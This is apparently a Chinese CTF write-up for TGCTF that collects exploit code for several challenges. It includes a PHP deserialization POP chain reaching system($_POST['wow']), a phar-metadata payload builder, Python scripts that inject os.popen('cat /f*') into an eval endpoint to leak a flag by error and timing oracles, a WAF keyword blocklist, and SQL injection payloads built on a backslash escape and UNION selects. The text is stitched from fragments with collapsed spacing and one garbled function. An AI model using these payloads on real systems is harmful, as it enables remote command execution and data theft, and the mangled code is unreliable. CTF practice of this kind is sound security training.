<?php highlight_file(__FILE__); error_reporting(0); functionbest64_decode($str) { returnbase64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str))))); } classyesterday{ public$learn; public$study="study"; public$try; publicfunction__construct() { $this->learn = "learn<br>"; } publicfunction__destruct() { echo"You studied hard yesterday.<br>"; return$this->study->hard(); } } classtoday{ public$doing; public$did; public$done; publicfunction__construct(){ $this->did = "What you did makes you outstanding.<br>"; } publicfunction__call($arg1, $arg2) { $this->done = "And what you've done has given you a choice.<br>"; echo$this->done; if(md5(md5($this->doing))==666){ return$this->doing(); } else{ return$this->doing->better; } } } classtommoraw{ public$good; public$bad; public$soso; publicfunction__invoke(){ $this->good="You'll be good tommoraw!<br>"; echo$this->good; } publicfunction__get($arg1){ $this->bad="You'll be bad tommoraw!<br>"; }
} classfuture{ private$impossible="How can you get here?<br>"; private$out; private$no; public$useful1;public$useful2;public$useful3;public$useful4;public$useful5;public$useful6;public$useful7;public$useful8;public$useful9;public$useful10;public$useful11;public$useful12;public$useful13;public$useful14;public$useful15;public$useful16;public$useful17;public$useful18;public$useful19;public$useful20;
publicfunction__set($arg1, $arg2) { if ($this->out->useful7) { echo"Seven is my lucky number<br>"; system('whoami'); } } publicfunction__toString(){ echo"This is your future.<br>"; system($_POST["wow"]); return"win"; } publicfunction__destruct(){ $this->no = "no"; return$this->no; } } if (file_exists($_GET['filename'])){ echo"Focus on the previous step!<br>"; } else{ $data=substr($_GET['filename'],0,-4); unserialize(best64_decode($data)); } // You learn yesterday, you choose today, can you get to your future? ?>
<?php functionbest64_encode($str) { returnbase64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str))))); } classyesterday{ public$learn; public$study="study"; public$try; // public function __construct() // { // $this->learn = "learn<br>"; // } // public function __destruct() // { // echo "You studied hard yesterday.<br>"; // return $this->study->hard(); // } } classtoday{ public$doing; public$did; public$done; // public function __construct(){ // $this->did = "What you did makes you outstanding.<br>"; // } // public function __call($arg1, $arg2) // { // $this->done = "And what you've done has given you a choice.<br>"; // echo $this->done; // if(md5(md5($this->doing))==666){ // return $this->doing(); // } // else{ // return $this->doing->better; // } // } } classtommoraw{ public$good; public$bad; public$soso; // public function __invoke(){ // $this->good="You'll be good tommoraw!<br>"; // echo $this->good; // } // public function __get($arg1){ // $this->bad="You'll be bad tommoraw!<br>"; // }
} classfuture{ private$impossible="How can you get here?<br>"; private$out; private$no; public$useful1;public$useful2;public$useful3;public$useful4;public$useful5;public$useful6;public$useful7;public$useful8;public$useful9;public$useful10;public$useful11;public$useful12;public$useful13;public$useful14;public$useful15;public$useful16;public$useful17;public$useful18;public$useful19;public$useful20;
// public function __set($arg1, $arg2) { // if ($this->out->useful7) { // echo "Seven is my lucky number<br>"; // system('whoami'); // } // } // public function __toString(){ // echo "This is your future.<br>"; // system($_POST["wow"]); // return "win"; // } // public function __destruct(){ // $this->no = "no"; // return $this->no; // } } //if (file_exists($_GET['filename'])){ // echo "Focus on the previous step!<br>"; //} //else{ // $data=substr($_GET['filename'],0,-4); // unserialize(best64_decode($data)); //} $yes = newyesterday(); $tod = newtoday(); $fut = newfuture(); $yes->study=$tod; $yes->study->doing=$fut; echobest64_encode(serialize($yes));
<?php highlight_file(__FILE__); error_reporting(0); functionbest64_decode($str) { returnbase64_encode(md5(base64_encode(md5($str)))); } classyesterday{ public$learn; public$study="study"; public$try; publicfunction__construct() { $this->learn = "learn<br>"; } publicfunction__destruct() { echo"You studied hard yesterday.<br>"; return$this->study->hard(); } } classtoday{ public$doing; public$did; public$done; publicfunction__construct(){ $this->did = "What you did makes you outstanding.<br>"; } publicfunction__call($arg1, $arg2) { $this->done = "And what you've done has given you a choice.<br>"; echo$this->done; if(md5(md5($this->doing))==666){ return$this->doing(); } else{ return$this->doing->better; } } } classtommoraw{ public$good; public$bad; public$soso; publicfunction__invoke(){ $this->good="You'll be good tommoraw!<br>"; echo$this->good; } publicfunction__get($arg1){ $this->bad="You'll be bad tommoraw!<br>"; }
} classfuture{ private$impossible="How can you get here?<br>"; private$out; private$no; public$useful1;public$useful2;public$useful3;public$useful4;public$useful5;public$useful6;public$useful7;public$useful8;public$useful9;public$useful10;public$useful11;public$useful12;public$useful13;public$useful14;public$useful15;public$useful16;public$useful17;public$useful18;public$useful19;public$useful20;
publicfunction__set($arg1, $arg2) { if ($this->out->useful7) { echo"Seven is my lucky number<br>"; system('whoami'); } } publicfunction__toString(){ echo"This is your future.<br>"; system($_POST["wow"]); return"win"; } publicfunction__destruct(){ $this->no = "no"; return$this->no; } } if (file_exists($_GET['filename'])){ echo"Focus on the previous step!<br>"; } else{ $data=substr($_GET['filename'],0,-4); unserialize(best64($data)); } // You learn yesterday, you choose today, can you get to your future? ?>
<?php functionbest64_encode($str) { returnbase64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str))))); } classyesterday{ public$learn; public$study="study"; public$try; // public function __construct() // { // $this->learn = "learn<br>"; // } // public function __destruct() // { // echo "You studied hard yesterday.<br>"; // return $this->study->hard(); // } } classtoday{ public$doing; public$did; public$done; // public function __construct(){ // $this->did = "What you did makes you outstanding.<br>"; // } // public function __call($arg1, $arg2) // { // $this->done = "And what you've done has given you a choice.<br>"; // echo $this->done; // if(md5(md5($this->doing))==666){ // return $this->doing(); // } // else{ // return $this->doing->better; // } // } } classtommoraw{ public$good; public$bad; public$soso; // public function __invoke(){ // $this->good="You'll be good tommoraw!<br>"; // echo $this->good; // } // public function __get($arg1){ // $this->bad="You'll be bad tommoraw!<br>"; // }
} classfuture{ private$impossible="How can you get here?<br>"; private$out; private$no; public$useful1;public$useful2;public$useful3;public$useful4;public$useful5;public$useful6;public$useful7;public$useful8;public$useful9;public$useful10;public$useful11;public$useful12;public$useful13;public$useful14;public$useful15;public$useful16;public$useful17;public$useful18;public$useful19;public$useful20;
// public function __set($arg1, $arg2) { // if ($this->out->useful7) { // echo "Seven is my lucky number<br>"; // system('whoami'); // } // } // public function __toString(){ // echo "This is your future.<br>"; // system($_POST["wow"]); // return "win"; // } // public function __destruct(){ // $this->no = "no"; // return $this->no; // } } //if (file_exists($_GET['filename'])){ // echo "Focus on the previous step!<br>"; //} //else{ // $data=substr($_GET['filename'],0,-4); // unserialize(best64_decode($data)); //} $yes = newyesterday(); $tod = newtoday(); $fut = newfuture(); $yes->study=$tod; $yes->study->doing=$fut; $phartest=newphar('test.phar',0); $phartest->startBuffering(); $phartest->setMetadata($yes); $phartest->setStub("<?php __HALT_COMPILER();?>"); $phartest->addFromString("test.txt",'test'); $phartest->stopBuffering();
from pyramid.config import Configurator from pyramid.request import Request from pyramid.response import Response from pyramid.view import view_config from wsgiref.simple_server import make_server from pyramid.events import NewResponse import re from jinja2 import Environment, BaseLoader
defhome_view(request): expr_input = "" result = ""
if request.method == 'POST': expr_input = request.POST['expr'] if checkExpr(expr_input): try: result = eval(expr_input, eval_globals) except Exception as e: result = e else: result = "爬！"
if __name__ == '__main__': with Configurator() as config: config.add_route('home_view', '/') config.add_view(home_view, route_name='home_view') app = config.make_wsgi_app()
server = make_server('0.0.0.0', 9040, app) server.serve_forever()
假设此时f=os.popen('cat /f*').read()也就是是flag的内容，那么operator.eq(f[{i}], '{s}')可以判断f的第i位是不是s，如果是就返回true，如果不是就返回false。此时再加一层int上去，true就会返回1而false就会返回0。此时还有一个点就是1/a，如果是a是false也就是0那么1/0就会返回500错误，如果a是true也就是1那么1/1就会返回200也就是页面上显示“A server error occurred. Please contact the administrator.”
defascii_str(): """生成可显示字符列表""" return [chr(i) for i inrange(33, 127)] # 所有可显示字符
defattack(url,flag,error_str): chars = ascii_str() for i inrange(len(flag), 50): # 假设flag长度不超过50 for s in chars: # 构造Payload payload = {"expr": f"import os,operator;f=os.popen('cat /f*').read();a=int(operator.eq(f[{i}],'{s}'));1/a"} res = requests.post(url, data=payload, timeout=10) if error_str notin res.text: flag += s print(f"Found: {flag}") break
print(f"Final flag: {flag}")
if __name__ == '__main__': url = "http://127.0.0.1:31667/" flag = "TGCTF{d6b945c2-faa3-8ed2-b5ae-3b489cd29b01" error_str = "A server error occurred. Please contact the administrator." attack(url,flag,error_str)
defascii_str(): """生成可显示字符列表""" return [chr(i) for i inrange(33, 127)] # 所有可显示字符
defattack(url,flag): char = ascii_str() for i inrange(len(flag), 50): forstrin char: payload ={'expr':f""" import os import time a os.popen('cat /f*').read() if len(a)>{i}and a[{i}]=='{str}': time.sleep(2) """} start = time.time() requests.post(url, data=payload,timeout=10) end = time.time() if end - start > 2: flag += str print(flag)
if __name__ == '__main__': url = "http://127.0.0.1:63019/" flag = "TGCTF{" attack(url,flag)
defgenerate_combinations(): withopen('4chars.txt', 'w') as f: for c2 in ascii_lowercase: for c3 in ascii_lowercase: for c4 in ascii_lowercase: f.write(f"a{c2}{c3}{c4}\n")
import os import string from flask import Flask, request, render_template_string, jsonify, send_from_directory from a.b.c.d.secret import secret_key
app = Flask(__name__)
black_list=['{','}','popen','os','import','eval','_','system','read','base','globals'] defwaf(name): for x in black_list: if x in name.lower(): returnTrue returnFalse defis_typable(char): # 定义可通过标准 QWERTY 键盘输入的字符集 typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace return char in typable_chars
select * from tables where username = 'admin\' and password = '123456'
这里用户名处的'被\给转义了，所以实际上的结构是
1
select * from tables where username = 'xxx'123456'
所以直接在密码处打sql注入就行了
测出列数为2
接下去就是打union联合注入就行了，但是打着打着突然发现长度有限制
1 2
username=admin\&password=union select database(),2# username=admin\&password=union select table_name from information_schema.tables where table_schema='tgctf',2#
